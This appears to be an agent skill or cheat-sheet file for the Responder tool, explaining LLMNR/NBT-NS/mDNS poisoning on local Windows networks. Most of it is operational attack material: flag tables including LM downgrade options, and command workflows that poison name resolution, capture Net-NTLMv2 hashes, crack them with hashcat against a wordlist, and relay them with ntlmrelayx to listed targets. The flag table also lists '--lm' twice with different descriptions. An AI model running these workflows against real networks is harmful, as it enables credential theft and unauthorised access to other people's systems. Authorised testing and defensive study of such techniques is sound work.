| name | responder |
| description | Auth/lab ref: Responder LLMNR/NBT-NS/mDNS assessment; name-resolution exposure, NTLM relay-risk evidence, lab-safe validation. |
| license | GPL-3.0 |
| compatibility | Linux. |
| metadata | {"author":"AeonDave","version":"1.1"} |
Responder
LLMNR/NBT-NS/mDNS poisoner — captures Net-NTLMv2 hashes from Windows hosts on local network.
Concept
When a Windows host tries to resolve a hostname that DNS cannot answer, it falls back to LLMNR/NBT-NS broadcast. Responder answers those broadcasts with its own IP, causing the Windows host to authenticate — Responder captures the Net-NTLMv2 hash.
Quick Start
sudo responder -I eth0 -A
sudo responder -I eth0 -wv
Core Flags
| Flag | Description |
|---|
-I <iface> | Network interface |
-A | Analyze mode — no poisoning |
-w | Enable WPAD rogue proxy server |
-d | Enable DHCP poisoning |
-b | Enable Basic HTTP auth capture |
-v | Verbose (show each request) |
-f | Fingerprint hosts |
--lm | Downgrade auth to LM (legacy) |
--disable-ess | Disable extended session security |
--lm | Force LM hashing |
-r | Enable WINS server |
--no-multirelay | Disable relay mode |
Rogue Servers Enabled by Default
SMB, HTTP, HTTPS, FTP, DNS, LDAP, MSSQL, NTLMv1, NTLMv2
Common Workflows
sudo responder -I eth0 -wv
tail -f /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txt
hashcat -a 0 -m 5600 hashes.txt rockyou.txt
sudo responder -I eth0 -wv
ntlmrelayx.py -tf targets.txt -smb2support
sudo responder -I eth0 -wv
Captured Hash Format
[SMB] NTLMv2 Hash : DOMAIN\user::DOMAIN:challenge:hash:blob
Crack with hashcat mode 5600 (Net-NTLMv2) or pass via relay.
Resources
| File | When to load |
|---|
references/ntlm-relay.md | Full relay chain: ntlmrelayx setup, LDAP relay, SMB signing bypass, RBCD |